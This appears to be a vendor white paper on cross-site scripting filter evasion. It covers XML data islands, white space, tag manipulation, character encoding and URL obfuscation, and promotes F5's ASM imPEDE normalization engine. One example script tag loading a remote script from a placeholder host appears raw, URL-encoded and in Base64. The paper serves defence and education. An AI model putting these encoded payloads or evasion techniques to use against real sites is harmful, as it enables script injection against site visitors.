XSS Evasion—Trying to hide in the all-concealing torchlight

Executive Summary

As sites become more interactive, the demand for user control over content as well as the appearance of that content continues to grow. The result is a growing number of web sites using so-called Web 2.0 interaction to provide forums, commentary, and feedback to facilitate the growth of community. While the business benefits appeal to those who would like to see a better bottom line, the incidence of exploitation of these sites is a growing concern to security administrators and risk management personnel.

Any site that stores data is at risk for exploitation. However, these interactive sites are a healthy breeding ground for attacks that attempt to use the data storage capabilities to reach a wide audience for the purpose of spreading malicious code and enticing users to share sensitive information.

While threat prevention systems—UTM, Web Application Firewall, intrusion prevention systems, and intrusion detection systems—have long been capable of detecting attacks designed to steal or lure users into divulging personal information, attackers have not been sitting idle. Attackers have learned to evade detection through a number of techniques that are not handled by most threat prevention systems. By evading detection of their intent, attackers are able to exploit the growing communities of interactive sites and wreak havoc on unsuspecting users and organizations.

Evasion detection engines are a new form of protection against such attacks. These engines recognize attempts at cloaking the malicious code that can result in a successful XSS injection attack by normalizing requests before applying signature and key word pattern matching, resulting in the successful detection and subsequent prevention of hidden XSS injection attacks.

If You Store Data, They Will Come

In the early days, web sites were used primarily to disseminate information. Web sites were static entities that changed only when developers rewrote pages. During the boom days of the Internet there was an explosion of pseudo-developers—people somewhat skilled in HTML who were far less expensive than true developers—that helped to offset the rising cost of continually updating web sites.

Unfortunately, this often led to poorly written HTML that was often not cross-browser compatible. This eventually led to more forgiving rendering engines in browsers that tried to compensate for poorly coded web pages.

The boom also saw the rise of the dynamic web site: data-driven sites that pulled content from databases and content management systems. These sites could be easily updated by non-technical personnel and enabled the proliferation of ecommerce.

Data-driven sites unfortunately also allowed attackers ways to exploit the basic ability of these sites to display stored data along with the forgiving nature of browsers. The Cross-site scripting (XSS) attack was born.

Soon after XSS appeared on the scene, threat prevention systems were also born to combat attackers. For a time, these systems performed their duties and prevented many attacks from being perpetrated. At the same time, however, the proliferation of interactive components such as guest books, chat rooms, message boards, and discussion forums changed the landscape

dramatically and gave attackers easy access to data-driven sites through which they could inject and ultimately inflict their scripting-based attacks on other browsers.

Again, threat prevention systems plugged these potential holes. But attackers, intent on spreading their malicious code, discovered ways to evade these systems and continue to perpetrate their attacks against what is now more commonly known as Web 2.0 sites—interactive, data-storing, dynamic web sites.

Exploiting Interactivity

XSS attacks are a two step process: first, you have to inject malicious code into a web site and second, you have to get an unlucky victim to view the infected page. With the explosion of interactive sites, both steps have become like child's play for attackers.

In the old days, attackers had to exploit vulnerabilities in languages and applications to inject malicious code into sites. With the proliferation of sites that include interactive components like message boards and comment systems, attackers have discovered that injecting malicious script into sites is a relatively simple task due to the demand from users that enables them to include formatting and images within their submissions.

Threat prevention systems initially plugged this hole using content filtering and signature-based databases containing commonly used exploits against applications and languages. As these holes closed, attackers turned to exploiting the flexibility and forgiving nature of HTML parsers to evade detection, thus allowing their malicious scripts to pass undetected through security systems.

There are several common methods used by attackers today to evade detection by threat prevention systems. They are based on the forgiving nature of HTML parsers and the HTTP protocol as well as a thorough understanding of the filters and regular expressions often used to detect these attacks. By modifying the signature of the attack using a variety of mechanisms allowed by HTML parsers and the HTTP protocol, attackers are able to evade detection of their malicious intent.

XSS Detection Evasion

Successful injection of XSS attacks began by forcing the output of an HTML *script* tag that referenced the remote script desired. This particular attack *should* be easily prevented by any modern threat prevention system.

Also easily preventable are the mutations used by attackers. Using the same script injection techniques, attackers moved to exploiting the flexibility of HTML by injecting scripts into any and every HTML element that will accept them—which is just about all of them.

Modern threat prevention systems are capable of preventing these injection attempts but only when they follow a specific pattern that can be matched to known vulnerabilities. Attackers know that the input validation routines of web applications—especially those that allow and encourage users to utilize HTML to enhance their interactive experience—are rarely as thorough as they should be.

So while the basic concepts of XSS injection are still used, they are barely recognizable to most threat prevention systems because attackers hide their intentions with a number of techniques that are made possible by lax rendering engines and the failure of threat prevention methods to catch the injection.

XML Data Islands

XML data island manipulation works based on the ability to use embedded XML as the source for an HTML element, most often the SPAN or TABLE elements. The XML data field referenced by

the DATAFLD attribute of a SPAN element can be treated as directed by the DATAFORMATAS attribute of the SPAN, and in the case of an XSS injection attack is almost always treated as HTML. If the XML element referenced by the DATAFLD attribute contains script, it can be exploited and used to load an external script that is likely malicious.

The exploitation of XML data islands work because most threat prevention systems examine HTML and are not equipped to parse and examine XML embedded inside HTML documents.

Threat prevention systems capable of detecting an XSS injection within an XML data island are generally stymied by the use of other injection evasion detection techniques such as using comments or obfuscating CDATA within the XML to bypass filters.

White Space

The filters used to detect XSS injection are often based on regular expressions that expect specific formatting of HTML, including white spaces, carriage returns, and tabs. By decreasing, increasing, or inserting extra white space the attacker can often evade detection because the resulting malicious code will not match the pattern expected.

White space-based injection attacks work because the filters in threat prevention systems do not cover all the possible cases and HTML rendering engines ignore white space contained inside HTML tags.

HTML Manipulation

Most filters used to detect XSS injection look for malicious code contained within well-formed HTML, such as containing opening and closing tags where appropriate. By inserting closing tags where they are not expected, dropping closing tags, or even adding additional opening tags in places, filters do not expect the attacker can evade detection.

HTML manipulation injection attacks work because filters cannot anticipate the irregular placement of opening and closing tags on HTML elements, and rendering engines are forgiving and will often close tags on their own.

Character Encoding

Threat preventing systems require some base data on which to match attacks. That generally includes specific patterns of characters, usually those that spell out the name of an HTML tag. By encoding tags in different code sets or base systems—for example, hexadecimal, octal, and Base64—the attacker can bypass detection.

Original	<script src=http://www.myexample.com/jsource.js></script>
URL Encoded	%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%6D%79%65%78%61%6D%70%6C%65%2E%63%6F%6D%2F%6A%73%6F%75%72%63%65%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
HTML Entities	<script src=http://www.myexample.com/jsource.js></script>
Base64	PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5teWV4YW1wbGUuY29tL2pzb3VyY2UuanM+PC9zY3JpcHQ+

Use of different character encodings works because while the filter may not recognize the attack, the browser will correctly interpret the data during the rendering process.

URL String Evasion

The second part of the XSS-based attacks requires that some data or script be loaded from an external site. Many threat prevention systems detect the presence of external domains and will prevent them from being injected. In order to evade the threat prevention system's ability to block such URLs from being injected, attackers use a number of methods to hide the URL from being detected as external.

Such methods include using an IP address instead of a domain name, using URL encoding to hide the domain name, and encoding the URL numerically as a DWORD, hexadecimal, or octal string. Some attackers will mix and match these methods, causing further confusion to threat prevention systems.

URL string evasion works because filters expect a *string*-based domain name, not a numeric one, and because modern web browsers are capable of understanding the encoded version of the domain name or IP address.

The Policy Evasion Detection Engine

In order to successfully detect both the XSS injection attack as well as the evasion of that detection it is necessary to incorporate evasion detection technology into existing threat prevention solutions, such as F5's BIG-IP Application Security Manager (ASM).

ASM now includes sophisticated anti-evasion technology designed to detect and neutralize XSS injection evasion attacks. This technology, the Policy Evasion Detection Engine (imPEDE), is capable of recognizing a variety of evasion attempts and subsequently preventing them from reaching their intended target.

ASM's imPEDE accomplishes this task by normalizing data that would typically slip through traditional threat prevention systems that rely on signatures and pattern-matching systems. By normalizing the data, imPEDE is able to remove the impact of evasion attempts on matching against signature databases and keywords.

When a request is received, ASM automatically passes that request through imPEDE to remove extraneous comments and white space, and applies decoding policies. This normalizes the data, and ASM can then use its existing, proven methods of discovering XSS injection attacks, thus preventing the evasion from accomplishing its task.

ASM's imPEDE normalization techniques work because the XSS injection attacks themselves have not changed, just the manner in which they are embedded within requests. By detecting the attempts to evade the underlying system, imPEDE enables ASM's proven methods of preventing XSS injection to continue to be successful at protecting applications and data stored in corporate databases.

imPEDE further enhances security without degrading performance—a common concern regarding the deployment of threat prevention systems and web application firewalls in general—by employing policy-based detection. imPEDE enables policy to determine what URLs should be examined and which ones are assumed threat-free. Most commonly, policies are applied to URLs that submit data but not necessarily those simply retrieving and displaying data, as those are least likely to contain potential threats from attackers.

imPEDE's policy-based approach is flexible, enabling the administrator to determine what should and should not be protected. This can be further be enhanced by ASM's ability to monitor and report upon site changes that may include new URLs or changes to the behavior of existing URLs. This allows administrators to make decisions regarding the level of security necessary on a per URL basis as the site changes, making site based exploration a much simpler and easier task.

Conclusion

A purely signature or keyword matching-based threat prevention system cannot properly deal with evasion attacks. While these techniques are a good basis for preventing known threats from reaching applications, such a static method of threat detection cannot continue to expect to be successful against the evolving dynamic nature of web application attacks, in particular XSS injection.

Advanced technology, such as ASM's imPEDE, is required in order to detect the evasions used today to penetrate through existing threat prevention solutions. These solutions, such as IPS or stand-alone web application firewalls, provide protection primarily at the web application layer and cannot address the broader issue of application delivery security. ASM, when coupled with the network and application transport layer security of an application delivery platform and integrated into an Application Delivery Network, offers a holistic solution for ensuring the secure, fast, and available delivery of applications.